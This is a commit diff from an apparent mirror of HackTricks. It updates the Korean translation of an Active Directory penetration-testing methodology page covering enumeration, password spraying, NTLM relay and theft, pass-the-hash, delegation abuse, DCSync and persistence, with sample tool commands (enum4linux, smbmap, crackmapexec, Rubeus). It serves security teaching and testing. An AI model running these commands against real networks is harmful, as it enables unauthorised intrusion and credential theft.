mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/windows-hardening/active-directory-methodology/README.m
This commit is contained in:
parent
6ec6915724
commit
c684fb0629
@ -268,6 +268,7 @@
|
||||
- [DSRM Credentials](windows-hardening/active-directory-methodology/dsrm-credentials.md)
|
||||
- [External Forest Domain - OneWay (Inbound) or bidirectional](windows-hardening/active-directory-methodology/external-forest-domain-oneway-inbound.md)
|
||||
- [External Forest Domain - One-Way (Outbound)](windows-hardening/active-directory-methodology/external-forest-domain-one-way-outbound.md)
|
||||
- [Golden Dmsa Gmsa](windows-hardening/active-directory-methodology/golden-dmsa-gmsa.md)
|
||||
- [Golden Ticket](windows-hardening/active-directory-methodology/golden-ticket.md)
|
||||
- [Kerberoast](windows-hardening/active-directory-methodology/kerberoast.md)
|
||||
- [Kerberos Authentication](windows-hardening/active-directory-methodology/kerberos-authentication.md)
|
||||
|
||||
@ -4,15 +4,15 @@
|
||||
|
||||
## Basic overview
|
||||
|
||||
**Active Directory**는 **네트워크 관리자**가 **도메인**, **사용자**, 및 **객체**를 효율적으로 생성하고 관리할 수 있도록 하는 기본 기술로 작동합니다. 이는 확장 가능하도록 설계되어, 많은 수의 사용자를 관리 가능한 **그룹** 및 **하위 그룹**으로 조직하고, 다양한 수준에서 **접근 권한**을 제어할 수 있게 합니다.
|
||||
**Active Directory**는 **네트워크 관리자**가 **도메인**, **사용자**, 및 **객체**를 효율적으로 생성하고 관리할 수 있도록 하는 기본 기술로 작동합니다. 이는 확장 가능하도록 설계되어, 많은 수의 사용자를 관리 가능한 **그룹** 및 **하위 그룹**으로 조직할 수 있으며, 다양한 수준에서 **접근 권한**을 제어합니다.
|
||||
|
||||
**Active Directory**의 구조는 세 가지 주요 계층으로 구성됩니다: **도메인**, **트리**, 및 **포리스트**. **도메인**은 공통 데이터베이스를 공유하는 **사용자** 또는 **장치**와 같은 객체의 모음입니다. **트리**는 공유 구조로 연결된 이러한 도메인 그룹이며, **포리스트**는 여러 트리의 모음으로, **신뢰 관계**를 통해 상호 연결되어 조직 구조의 최상위 계층을 형성합니다. 각 수준에서 특정 **접근** 및 **통신 권한**을 지정할 수 있습니다.
|
||||
**Active Directory**의 구조는 세 가지 주요 계층으로 구성됩니다: **도메인**, **트리**, 및 **포리스트**. **도메인**은 공통 데이터베이스를 공유하는 **사용자** 또는 **장치**와 같은 객체의 모음입니다. **트리**는 공유 구조로 연결된 이러한 도메인 그룹이며, **포리스트**는 여러 트리의 모음을 나타내며, **신뢰 관계**를 통해 상호 연결되어 조직 구조의 최상위 계층을 형성합니다. 각 수준에서 특정 **접근** 및 **통신 권한**을 지정할 수 있습니다.
|
||||
|
||||
**Active Directory**의 주요 개념은 다음과 같습니다:
|
||||
|
||||
1. **디렉토리** – Active Directory 객체와 관련된 모든 정보를 저장합니다.
|
||||
1. **디렉토리** – Active Directory 객체와 관련된 모든 정보를 보관합니다.
|
||||
2. **객체** – 디렉토리 내의 엔티티를 나타내며, **사용자**, **그룹**, 또는 **공유 폴더**를 포함합니다.
|
||||
3. **도메인** – 디렉토리 객체의 컨테이너 역할을 하며, 여러 도메인이 **포리스트** 내에서 공존할 수 있도록 하며, 각 도메인은 자체 객체 모음을 유지합니다.
|
||||
3. **도메인** – 디렉토리 객체의 컨테이너 역할을 하며, 여러 도메인이 **포리스트** 내에서 공존할 수 있으며, 각 도메인은 자체 객체 모음을 유지합니다.
|
||||
4. **트리** – 공통 루트 도메인을 공유하는 도메인 그룹입니다.
|
||||
5. **포리스트** – Active Directory의 조직 구조의 정점으로, 여러 트리로 구성되며 이들 간에 **신뢰 관계**가 있습니다.
|
||||
|
||||
@ -23,7 +23,7 @@
|
||||
3. **경량 디렉토리 서비스** – **LDAP 프로토콜**을 통해 디렉토리 지원 애플리케이션을 지원합니다.
|
||||
4. **디렉토리 연합 서비스** – 여러 웹 애플리케이션에서 단일 세션으로 사용자를 인증할 수 있는 **싱글 사인온** 기능을 제공합니다.
|
||||
5. **권한 관리** – 저작권 자료를 보호하기 위해 무단 배포 및 사용을 규제합니다.
|
||||
6. **DNS 서비스** – **도메인 이름**의 해석에 필수적입니다.
|
||||
6. **DNS 서비스** – **도메인 이름** 해석에 필수적입니다.
|
||||
|
||||
자세한 설명은 다음을 확인하세요: [**TechTerms - Active Directory Definition**](https://techterms.com/definition/active_directory)
|
||||
|
||||
@ -44,11 +44,11 @@ AD를 열거/악용하기 위해 실행할 수 있는 명령어를 빠르게 확
|
||||
AD 환경에 접근할 수 있지만 자격 증명/세션이 없는 경우 다음을 수행할 수 있습니다:
|
||||
|
||||
- **네트워크 펜테스트:**
|
||||
- 네트워크를 스캔하고 머신과 열린 포트를 찾아 **취약점을 악용**하거나 **자격 증명**을 추출하려고 시도합니다 (예: [프린터는 매우 흥미로운 대상이 될 수 있습니다](ad-information-in-printers.md)).
|
||||
- 네트워크를 스캔하고 머신과 열린 포트를 찾아 **취약점을 악용**하거나 **자격 증명을 추출**하려고 시도합니다 (예: [프린터는 매우 흥미로운 대상이 될 수 있습니다](ad-information-in-printers.md)).
|
||||
- DNS를 열거하면 도메인 내의 주요 서버에 대한 정보(웹, 프린터, 공유, VPN, 미디어 등)를 얻을 수 있습니다.
|
||||
- `gobuster dns -d domain.local -t 25 -w /opt/Seclist/Discovery/DNS/subdomain-top2000.txt`
|
||||
- 이를 수행하는 방법에 대한 더 많은 정보는 일반 [**펜테스팅 방법론**](../../generic-methodologies-and-resources/pentesting-methodology.md)을 참조하세요.
|
||||
- **smb 서비스에서 null 및 Guest 접근 확인** (이것은 최신 Windows 버전에서는 작동하지 않습니다):
|
||||
- **smb 서비스에서 null 및 Guest 접근 확인** (이 방법은 최신 Windows 버전에서는 작동하지 않습니다):
|
||||
- `enum4linux -a -u "" -p "" <DC IP> && enum4linux -a -u "guest" -p "" <DC IP>`
|
||||
- `smbmap -u "" -p "" -P 445 -H <DC IP> && smbmap -u "guest" -p "" -P 445 -H <DC IP>`
|
||||
- `smbclient -U '%' -L //<DC IP> && smbclient -U 'guest%' -L //`
|
||||
@ -114,9 +114,9 @@ Get-GlobalAddressList -ExchHostname [ip] -UserName [domain]\[username] -Password
|
||||
|
||||
### 하나 이상의 사용자 이름 알기
|
||||
|
||||
좋습니다, 유효한 사용자 이름이 있지만 비밀번호가 없다면... 다음을 시도해 보세요:
|
||||
좋습니다, 유효한 사용자 이름이 있지만 비밀번호는 없는 경우... 다음을 시도해 보세요:
|
||||
|
||||
- [**ASREPRoast**](asreproast.md): 사용자가 _DONT_REQ_PREAUTH_ 속성이 **없다면**, 해당 사용자에 대한 **AS_REP 메시지를 요청**할 수 있으며, 이 메시지는 사용자의 비밀번호 파생으로 암호화된 데이터를 포함합니다.
|
||||
- [**ASREPRoast**](asreproast.md): 사용자가 _DONT_REQ_PREAUTH_ 속성이 **없다면**, 해당 사용자에 대한 **AS_REP 메시지**를 요청할 수 있으며, 이 메시지는 사용자의 비밀번호 파생으로 암호화된 데이터를 포함합니다.
|
||||
- [**Password Spraying**](password-spraying.md): 발견된 각 사용자에 대해 가장 **일반적인 비밀번호**를 시도해 보세요. 어떤 사용자가 나쁜 비밀번호를 사용하고 있을 수 있습니다(비밀번호 정책을 염두에 두세요!).
|
||||
- OWA 서버를 **스프레이**하여 사용자 메일 서버에 접근을 시도할 수도 있습니다.
|
||||
|
||||
@ -134,19 +134,19 @@ password-spraying.md
|
||||
|
||||
### NTLM 릴레이
|
||||
|
||||
액티브 디렉토리를 열거하는 데 성공했다면 **더 많은 이메일과 네트워크에 대한 더 나은 이해**를 갖게 될 것입니다. NTLM [**릴레이 공격**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack)을 강제로 수행하여 AD 환경에 접근할 수 있습니다.
|
||||
활성 디렉토리를 열거하는 데 성공했다면 **더 많은 이메일과 네트워크에 대한 더 나은 이해**를 갖게 될 것입니다. NTLM [**릴레이 공격**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack)을 강제로 수행하여 AD 환경에 접근할 수 있습니다.
|
||||
|
||||
### NTLM 자격 증명 훔치기
|
||||
|
||||
**null 또는 guest 사용자**로 다른 PC나 공유에 **접근**할 수 있다면, **파일을 배치**할 수 있습니다(예: SCF 파일). 이 파일이 접근되면 **당신에 대한 NTLM 인증을 트리거**하여 **NTLM 챌린지를 훔칠 수 있습니다**:
|
||||
**null 또는 guest 사용자**로 다른 PC나 공유에 **접근**할 수 있다면, **파일을 배치**할 수 있습니다(예: SCF 파일). 이 파일이 접근되면 **당신에 대한 NTLM 인증을 트리거**하여 **NTLM 챌린지**를 훔칠 수 있습니다:
|
||||
|
||||
{{#ref}}
|
||||
../ntlm/places-to-steal-ntlm-creds.md
|
||||
{{#endref}}
|
||||
|
||||
## 자격 증명/세션으로 액티브 디렉토리 열거하기
|
||||
## 자격 증명/세션으로 Active Directory 열거하기
|
||||
|
||||
이 단계에서는 **유효한 도메인 계정의 자격 증명이나 세션을 손상시켜야 합니다.** 유효한 자격 증명이나 도메인 사용자로서의 쉘이 있다면, **이전에 제공된 옵션이 여전히 다른 사용자를 손상시키는 옵션임을 기억해야 합니다.**
|
||||
이 단계에서는 **유효한 도메인 계정의 자격 증명이나 세션을 손상시켜야** 합니다. 유효한 자격 증명이나 도메인 사용자로서의 쉘이 있다면, **이전에 제공된 옵션이 여전히 다른 사용자를 손상시키는 옵션임을 기억해야** 합니다.
|
||||
|
||||
인증된 열거를 시작하기 전에 **Kerberos 더블 홉 문제**가 무엇인지 알아야 합니다.
|
||||
|
||||
@ -156,14 +156,14 @@ kerberos-double-hop-problem.md
|
||||
|
||||
### 열거
|
||||
|
||||
계정을 손상시키는 것은 **전체 도메인을 손상시키기 위한 큰 단계**입니다. 이제 **액티브 디렉토리 열거**를 시작할 수 있습니다:
|
||||
계정을 손상시키는 것은 **전체 도메인을 손상시키기 위한 큰 단계**입니다. 이제 **Active Directory 열거**를 시작할 수 있습니다:
|
||||
|
||||
[**ASREPRoast**](asreproast.md)와 관련하여 모든 가능한 취약한 사용자를 찾을 수 있으며, [**Password Spraying**](password-spraying.md)와 관련하여 손상된 계정의 비밀번호, 빈 비밀번호 및 새로운 유망한 비밀번호를 시도할 수 있습니다.
|
||||
[**ASREPRoast**](asreproast.md)와 관련하여 이제 모든 가능한 취약한 사용자를 찾을 수 있으며, [**Password Spraying**](password-spraying.md)와 관련하여 손상된 계정의 비밀번호, 빈 비밀번호 및 새로운 유망한 비밀번호를 시도할 수 있습니다.
|
||||
|
||||
- [**CMD를 사용하여 기본 정찰 수행**](../basic-cmd-for-pentesters.md#domain-info)
|
||||
- [**정찰을 위한 PowerShell 사용**](../basic-powershell-for-pentesters/index.html)도 가능합니다. 이는 더 은밀합니다.
|
||||
- [**PowerView 사용**](../basic-powershell-for-pentesters/powerview.md)하여 더 자세한 정보를 추출할 수 있습니다.
|
||||
- 액티브 디렉토리에서 정찰을 위한 또 다른 훌륭한 도구는 [**BloodHound**](bloodhound.md)입니다. 이는 **그리 은밀하지 않습니다**(사용하는 수집 방법에 따라 다름), 그러나 **그것에 대해 신경 쓰지 않는다면** 꼭 시도해 보세요. 사용자가 RDP할 수 있는 위치, 다른 그룹으로의 경로 등을 찾을 수 있습니다.
|
||||
- [**powershell을 사용하여 정찰**](../basic-powershell-for-pentesters/index.html)할 수도 있으며, 이는 더 은밀합니다.
|
||||
- [**powerview 사용**](../basic-powershell-for-pentesters/powerview.md)하여 더 자세한 정보를 추출할 수 있습니다.
|
||||
- Active Directory에서 정찰을 위한 또 다른 훌륭한 도구는 [**BloodHound**](bloodhound.md)입니다. 이는 **그리 은밀하지 않지만**(사용하는 수집 방법에 따라 다름), **그것에 대해 신경 쓰지 않는다면** 꼭 시도해 보세요. 사용자가 RDP할 수 있는 위치, 다른 그룹으로의 경로 등을 찾을 수 있습니다.
|
||||
- **기타 자동화된 AD 열거 도구는:** [**AD Explorer**](bloodhound.md#ad-explorer)**,** [**ADRecon**](bloodhound.md#adrecon)**,** [**Group3r**](bloodhound.md#group3r)**,** [**PingCastle**](bloodhound.md#pingcastle)**.**
|
||||
- [**AD의 DNS 레코드**](ad-dns-records.md)도 흥미로운 정보를 포함할 수 있습니다.
|
||||
- 디렉토리를 열거하는 데 사용할 수 있는 **GUI 도구**는 **SysInternal** Suite의 **AdExplorer.exe**입니다.
|
||||
@ -174,9 +174,9 @@ kerberos-double-hop-problem.md
|
||||
- [**61106960/adPEAS**](https://github.com/61106960/adPEAS)
|
||||
- **모든 도메인 사용자 추출하기**
|
||||
|
||||
Windows에서 모든 도메인 사용자 이름을 얻는 것은 매우 쉽습니다(`net user /domain`, `Get-DomainUser` 또는 `wmic useraccount get name,sid`). Linux에서는 다음을 사용할 수 있습니다: `GetADUsers.py -all -dc-ip 10.10.10.110 domain.com/username` 또는 `enum4linux -a -u "user" -p "password" <DC IP>`
|
||||
Windows에서 도메인 사용자 이름을 얻는 것은 매우 쉽습니다(`net user /domain`, `Get-DomainUser` 또는 `wmic useraccount get name,sid`). Linux에서는 `GetADUsers.py -all -dc-ip 10.10.10.110 domain.com/username` 또는 `enum4linux -a -u "user" -p "password" <DC IP>`를 사용할 수 있습니다.
|
||||
|
||||
> 이 열거 섹션이 작아 보일 수 있지만, 이는 모든 것 중에서 가장 중요한 부분입니다. 링크에 접근하고(주로 cmd, powershell, powerview 및 BloodHound 링크), 도메인을 열거하는 방법을 배우고 편안해질 때까지 연습하세요. 평가 중에는 DA로 가는 길을 찾거나 아무것도 할 수 없다고 결정하는 중요한 순간이 될 것입니다.
|
||||
> 이 열거 섹션이 작아 보일 수 있지만, 이는 모든 것 중에서 가장 중요한 부분입니다. 링크를 확인하세요(주로 cmd, powershell, powerview 및 BloodHound 링크), 도메인을 열거하는 방법을 배우고 편안해질 때까지 연습하세요. 평가 중에는 DA로 가는 길을 찾거나 아무것도 할 수 없다고 결정하는 중요한 순간이 될 것입니다.
|
||||
|
||||
### Kerberoast
|
||||
|
||||
@ -190,17 +190,17 @@ kerberoast.md
|
||||
|
||||
### 원격 연결 (RDP, SSH, FTP, Win-RM 등)
|
||||
|
||||
일단 자격 증명을 얻으면, **어떤 머신**에 접근할 수 있는지 확인할 수 있습니다. 이를 위해 **CrackMapExec**를 사용하여 포트 스캔에 따라 여러 서버에 다양한 프로토콜로 연결을 시도할 수 있습니다.
|
||||
자격 증명을 얻은 후, **어떤 머신**에 접근할 수 있는지 확인할 수 있습니다. 이를 위해 **CrackMapExec**를 사용하여 포트 스캔에 따라 여러 서버에 다양한 프로토콜로 연결을 시도할 수 있습니다.
|
||||
|
||||
### 로컬 권한 상승
|
||||
|
||||
정상 도메인 사용자로서 자격 증명이나 세션을 손상시켰고, 이 사용자로 **도메인의 어떤 머신에 접근**할 수 있다면, **로컬에서 권한을 상승시키고 자격 증명을 훔치는 방법을 찾아야 합니다.** 이는 로컬 관리자 권한이 있어야만 **다른 사용자의 해시를 메모리(LSASS)와 로컬(SAM)에서 덤프할 수 있기 때문입니다.**
|
||||
정상 도메인 사용자로서 자격 증명이나 세션을 손상시키고, 이 사용자로 **도메인 내의 어떤 머신에 접근**할 수 있다면, **로컬에서 권한을 상승시키고 자격 증명을 찾는 방법을 찾아야** 합니다. 이는 로컬 관리자 권한이 있어야만 **다른 사용자의 해시를 메모리(LSASS)와 로컬(SAM)에서 덤프**할 수 있기 때문입니다.
|
||||
|
||||
이 책에는 [**Windows에서의 로컬 권한 상승**](../windows-local-privilege-escalation/index.html)에 대한 완전한 페이지와 [**체크리스트**](../checklist-windows-privilege-escalation.md)가 있습니다. 또한 [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite)를 사용하는 것을 잊지 마세요.
|
||||
이 책에는 [**Windows에서의 로컬 권한 상승**](../windows-local-privilege-escalation/index.html)과 [**체크리스트**](../checklist-windows-privilege-escalation.md)에 대한 완전한 페이지가 있습니다. 또한 [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite)를 사용하는 것을 잊지 마세요.
|
||||
|
||||
### 현재 세션 티켓
|
||||
|
||||
현재 사용자에게 **예상치 못한 리소스에 접근할 수 있는 권한을 주는** **티켓**을 찾는 것은 매우 **가능성이 낮습니다**, 하지만 확인해 볼 수 있습니다:
|
||||
현재 사용자에게 **예상치 못한 리소스에 접근할 수 있는 권한을 부여하는** **티켓**을 찾는 것은 매우 **가능성이 낮지만**, 확인할 수 있습니다:
|
||||
```bash
|
||||
## List all tickets (if not admin, only current user tickets)
|
||||
.\Rubeus.exe triage
|
||||
@ -214,13 +214,13 @@ kerberoast.md
|
||||
|
||||
### 컴퓨터 공유에서 자격 증명 찾기 | SMB 공유
|
||||
|
||||
기본 자격 증명을 얻었으니 **AD 내부에서 공유되고 있는 흥미로운 파일을 찾을 수 있는지 확인해야 합니다**. 수동으로 할 수 있지만 매우 지루하고 반복적인 작업입니다(수백 개의 문서를 확인해야 하는 경우 더더욱).
|
||||
기본 자격 증명을 얻었으니 **AD 내부에서 공유되고 있는 흥미로운 파일을 찾을 수 있는지 확인해야 합니다**. 수동으로 할 수 있지만 매우 지루하고 반복적인 작업입니다(수백 개의 문서를 확인해야 하는 경우 더더욱 그렇습니다).
|
||||
|
||||
[**사용할 수 있는 도구에 대해 알아보려면 이 링크를 따르세요.**](../../network-services-pentesting/pentesting-smb/index.html#domain-shared-folders-search)
|
||||
|
||||
### NTLM 자격 증명 훔치기
|
||||
|
||||
다른 PC나 공유에 **접근할 수 있다면**, **파일을 배치**할 수 있습니다(예: SCF 파일). 이 파일이 어떤 식으로든 접근되면 **당신에 대한 NTLM 인증을 트리거**하여 **NTLM 챌린지를 훔쳐낼 수 있습니다**:
|
||||
다른 PC나 공유에 **접근할 수 있다면** (SCF 파일과 같은) **파일을 배치**할 수 있습니다. 이 파일이 접근되면 **당신에 대한 NTLM 인증을 트리거**하여 **NTLM 챌린지를 훔쳐서 크랙할 수 있습니다**:
|
||||
|
||||
{{#ref}}
|
||||
../ntlm/places-to-steal-ntlm-creds.md
|
||||
@ -240,7 +240,7 @@ printnightmare.md
|
||||
|
||||
### 해시 추출
|
||||
|
||||
운 좋게도 [AsRepRoast](asreproast.md), [Password Spraying](password-spraying.md), [Kerberoast](kerberoast.md), [Responder](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) 포함하여 릴레이, [EvilSSDP](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md), [로컬에서 권한 상승](../windows-local-privilege-escalation/index.html) 등을 통해 **로컬 관리자** 계정을 **손상시키는 데 성공했다면**.\
|
||||
운 좋게도 [AsRepRoast](asreproast.md), [Password Spraying](password-spraying.md), [Kerberoast](kerberoast.md), [Responder](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) 및 릴레이를 포함하여 [EvilSSDP](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md), [로컬에서 권한 상승](../windows-local-privilege-escalation/index.html) 등을 통해 **로컬 관리자** 계정을 **손상시키는 데 성공했다면**.\
|
||||
그런 다음, 메모리와 로컬에서 모든 해시를 덤프할 시간입니다.\
|
||||
[**해시를 얻는 다양한 방법에 대한 이 페이지를 읽어보세요.**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/active-directory-methodology/broken-reference/README.md)
|
||||
|
||||
@ -252,7 +252,7 @@ printnightmare.md
|
||||
|
||||
### 해시 우회/키 전달
|
||||
|
||||
이 공격은 **사용자 NTLM 해시를 사용하여 Kerberos 티켓을 요청하는 것**을 목표로 하며, 일반적인 NTLM 프로토콜을 통한 Pass The Hash의 대안입니다. 따라서, NTLM 프로토콜이 비활성화되고 **Kerberos만 인증 프로토콜로 허용되는 네트워크에서 특히 유용할 수 있습니다**.
|
||||
이 공격은 **사용자 NTLM 해시를 사용하여 Kerberos 티켓을 요청하는** 것을 목표로 하며, 일반적인 NTLM 프로토콜을 통한 해시 전달의 대안입니다. 따라서, NTLM 프로토콜이 비활성화되고 **Kerberos만 인증 프로토콜로 허용되는** 네트워크에서 특히 **유용할 수 있습니다**.
|
||||
|
||||
{{#ref}}
|
||||
over-pass-the-hash-pass-the-key.md
|
||||
@ -260,7 +260,7 @@ over-pass-the-hash-pass-the-key.md
|
||||
|
||||
### 티켓 전달
|
||||
|
||||
**티켓 전달(PTT)** 공격 방법에서 공격자는 **사용자의 인증 티켓을 훔칩니다**. 이 훔친 티켓은 **사용자를 가장하는 데 사용되어**, 네트워크 내의 리소스와 서비스에 대한 무단 접근을 얻습니다.
|
||||
**티켓 전달(PTT)** 공격 방법에서 공격자는 **사용자의 인증 티켓을 훔칩니다**. 이 훔친 티켓은 **사용자를 가장하는 데 사용되어** 네트워크 내의 리소스와 서비스에 무단으로 접근하게 됩니다.
|
||||
|
||||
{{#ref}}
|
||||
pass-the-ticket.md
|
||||
@ -275,11 +275,11 @@ pass-the-ticket.md
|
||||
crackmapexec smb --local-auth 10.10.10.10/23 -u administrator -H 10298e182387f9cab376ecd08491764a0 | grep +
|
||||
```
|
||||
> [!WARNING]
|
||||
> 이 방법은 상당히 **시끄럽고** **LAPS**가 이를 **완화**할 것입니다.
|
||||
> 이 방법은 상당히 **시끄럽고** **LAPS**가 이를 **완화**할 수 있습니다.
|
||||
|
||||
### MSSQL 남용 및 신뢰 링크
|
||||
|
||||
사용자가 **MSSQL 인스턴스에 접근할 수 있는 권한**이 있다면, 그는 MSSQL 호스트에서 **명령을 실행**하거나 (SA로 실행 중인 경우), NetNTLM **해시**를 **탈취**하거나 심지어 **릴레이 공격**을 수행할 수 있습니다.\
|
||||
사용자가 **MSSQL 인스턴스에 접근할 수 있는 권한**이 있다면, 그는 MSSQL 호스트에서 **명령을 실행**하거나 (SA로 실행 중인 경우), NetNTLM **해시**를 **탈취**하거나 심지어 **중계** **공격**을 수행할 수 있습니다.\
|
||||
또한, MSSQL 인스턴스가 다른 MSSQL 인스턴스에 의해 신뢰받는 경우(데이터베이스 링크). 사용자가 신뢰된 데이터베이스에 대한 권한을 가지고 있다면, 그는 **신뢰 관계를 사용하여 다른 인스턴스에서도 쿼리를 실행할 수 있습니다**. 이러한 신뢰는 연결될 수 있으며, 사용자가 명령을 실행할 수 있는 잘못 구성된 데이터베이스를 찾을 수 있는 시점이 있을 수 있습니다.\
|
||||
**데이터베이스 간의 링크는 포리스트 신뢰를 넘어 작동합니다.**
|
||||
|
||||
@ -290,7 +290,7 @@ abusing-ad-mssql.md
|
||||
### 제약 없는 위임
|
||||
|
||||
[ADS_UF_TRUSTED_FOR_DELEGATION](<https://msdn.microsoft.com/en-us/library/aa772300(v=vs.85).aspx>) 속성을 가진 컴퓨터 객체를 발견하고 해당 컴퓨터에서 도메인 권한이 있다면, 컴퓨터에 로그인하는 모든 사용자의 TGT를 메모리에서 덤프할 수 있습니다.\
|
||||
따라서, **도메인 관리자가 컴퓨터에 로그인하면**, 그의 TGT를 덤프하고 [Pass the Ticket](pass-the-ticket.md)를 사용하여 그를 가장할 수 있습니다.\
|
||||
따라서 **도메인 관리자가 컴퓨터에 로그인하면**, 그의 TGT를 덤프하고 [Pass the Ticket](pass-the-ticket.md)를 사용하여 그를 가장할 수 있습니다.\
|
||||
제약된 위임 덕분에 **프린트 서버를 자동으로 손상시킬 수 있습니다** (희망적으로 DC일 것입니다).
|
||||
|
||||
{{#ref}}
|
||||
@ -299,7 +299,7 @@ unconstrained-delegation.md
|
||||
|
||||
### 제약된 위임
|
||||
|
||||
사용자 또는 컴퓨터가 "제약된 위임"을 허용받으면, **특정 서비스에 접근하기 위해 어떤 사용자를 가장할 수 있습니다**.\
|
||||
사용자 또는 컴퓨터가 "제약된 위임"을 허용받으면, **컴퓨터의 일부 서비스에 접근하기 위해 어떤 사용자를 가장할 수 있습니다**.\
|
||||
그런 다음, 이 사용자/컴퓨터의 **해시를 손상시키면** **모든 사용자를 가장할 수 있습니다** (도메인 관리자 포함) 특정 서비스에 접근할 수 있습니다.
|
||||
|
||||
{{#ref}}
|
||||
@ -324,7 +324,7 @@ acl-persistence-abuse/
|
||||
|
||||
### 프린터 스풀러 서비스 남용
|
||||
|
||||
도메인 내에서 **스풀 서비스가 수신 대기 중인** 것을 발견하면, 이를 **남용하여 새로운 자격 증명을 획득하고** **권한을 상승**시킬 수 있습니다.
|
||||
도메인 내에서 **스풀 서비스가 수신 대기 중인** 것을 발견하면, 이를 **남용하여 새로운 자격 증명을 획득하고** **권한을 상승시킬 수 있습니다**.
|
||||
|
||||
{{#ref}}
|
||||
printers-spooler-service-abuse.md
|
||||
@ -347,7 +347,7 @@ rdp-sessions-abuse.md
|
||||
laps.md
|
||||
{{#endref}}
|
||||
|
||||
### 인증서 도용
|
||||
### 인증서 도난
|
||||
|
||||
**손상된 머신에서 인증서를 수집하는 것**은 환경 내에서 권한을 상승시키는 방법이 될 수 있습니다:
|
||||
|
||||
@ -371,7 +371,7 @@ ad-certificates/domain-escalation.md
|
||||
|
||||
[**DCSync 공격에 대한 더 많은 정보는 여기에서 찾을 수 있습니다**](dcsync.md).
|
||||
|
||||
[**NTDS.dit를 도용하는 방법에 대한 더 많은 정보는 여기에서 찾을 수 있습니다**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/active-directory-methodology/broken-reference/README.md)
|
||||
[**NTDS.dit를 훔치는 방법에 대한 더 많은 정보는 여기에서 찾을 수 있습니다**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/active-directory-methodology/broken-reference/README.md)
|
||||
|
||||
### 권한 상승을 위한 지속성
|
||||
|
||||
@ -398,7 +398,7 @@ Add-DomainObjectAcl -TargetIdentity "DC=SUB,DC=DOMAIN,DC=LOCAL" -PrincipalIdenti
|
||||
|
||||
### 실버 티켓
|
||||
|
||||
**실버 티켓 공격**은 특정 서비스에 대한 **합법적인 티켓 부여 서비스(TGS) 티켓**을 **NTLM 해시**를 사용하여 생성합니다 (예: **PC 계정의 해시**). 이 방법은 **서비스 권한에 접근하기 위해** 사용됩니다.
|
||||
**실버 티켓 공격**은 특정 서비스에 대한 **정당한 티켓 부여 서비스(TGS) 티켓**을 **NTLM 해시**를 사용하여 생성합니다 (예: **PC 계정의 해시**). 이 방법은 **서비스 권한에 접근하기 위해** 사용됩니다.
|
||||
|
||||
{{#ref}}
|
||||
silver-ticket.md
|
||||
@ -440,9 +440,9 @@ ad-certificates/domain-persistence.md
|
||||
|
||||
### AdminSDHolder 그룹
|
||||
|
||||
Active Directory의 **AdminSDHolder** 객체는 **특권 그룹**(예: 도메인 관리자 및 엔터프라이즈 관리자)의 보안을 보장하기 위해 이러한 그룹에 표준 **액세스 제어 목록(ACL)**을 적용하여 무단 변경을 방지합니다. 그러나 이 기능은 악용될 수 있습니다. 공격자가 AdminSDHolder의 ACL을 수정하여 일반 사용자에게 전체 액세스를 부여하면, 해당 사용자는 모든 특권 그룹에 대한 광범위한 제어를 얻게 됩니다. 이 보안 조치는 보호를 위해 설계되었지만, 면밀히 모니터링되지 않으면 불필요한 접근을 허용할 수 있습니다.
|
||||
Active Directory의 **AdminSDHolder** 객체는 **특권 그룹**(예: 도메인 관리자 및 엔터프라이즈 관리자)의 보안을 보장하기 위해 이러한 그룹에 표준 **액세스 제어 목록(ACL)**을 적용하여 무단 변경을 방지합니다. 그러나 이 기능은 악용될 수 있습니다. 공격자가 AdminSDHolder의 ACL을 수정하여 일반 사용자에게 전체 접근 권한을 부여하면, 해당 사용자는 모든 특권 그룹에 대한 광범위한 제어를 얻게 됩니다. 이 보안 조치는 보호를 위해 설계되었지만, 면밀히 모니터링되지 않으면 불필요한 접근을 허용할 수 있습니다.
|
||||
|
||||
[**AdminDSHolder 그룹에 대한 더 많은 정보는 여기에서 찾을 수 있습니다.**](privileged-groups-and-token-privileges.md#adminsdholder-group)
|
||||
[**AdminDSHolder 그룹에 대한 더 많은 정보는 여기에서 확인할 수 있습니다.**](privileged-groups-and-token-privileges.md#adminsdholder-group)
|
||||
|
||||
### DSRM 자격 증명
|
||||
|
||||
@ -454,7 +454,7 @@ dsrm-credentials.md
|
||||
|
||||
### ACL 지속성
|
||||
|
||||
특정 도메인 객체에 대해 **사용자에게** **특별 권한**을 부여하여 사용자가 **미래에 권한을 상승**시킬 수 있도록 할 수 있습니다.
|
||||
특정 도메인 객체에 대해 **사용자에게** **특별 권한**을 부여하여 사용자가 **향후 권한을 상승시킬 수 있도록** 할 수 있습니다.
|
||||
|
||||
{{#ref}}
|
||||
acl-persistence-abuse/
|
||||
@ -462,7 +462,7 @@ acl-persistence-abuse/
|
||||
|
||||
### 보안 설명자
|
||||
|
||||
**보안 설명자**는 **객체**가 **객체**에 대해 가진 **권한**을 **저장**하는 데 사용됩니다. 객체의 **보안 설명자**에 **조금만 변경**을 가하면, 특권 그룹의 구성원이 되지 않고도 해당 객체에 대한 매우 흥미로운 권한을 얻을 수 있습니다.
|
||||
**보안 설명자**는 **객체**가 **다른 객체**에 대해 가진 **권한**을 **저장**하는 데 사용됩니다. 객체의 **보안 설명자**에 **조금만 변경**을 가하면, 특권 그룹의 구성원이 되지 않고도 해당 객체에 대한 매우 흥미로운 권한을 얻을 수 있습니다.
|
||||
|
||||
{{#ref}}
|
||||
security-descriptors.md
|
||||
@ -479,7 +479,7 @@ skeleton-key.md
|
||||
### 사용자 정의 SSP
|
||||
|
||||
[SSP(보안 지원 제공자)가 무엇인지 여기에서 알아보세요.](../authentication-credentials-uac-and-efs/index.html#security-support-provider-interface-sspi)\
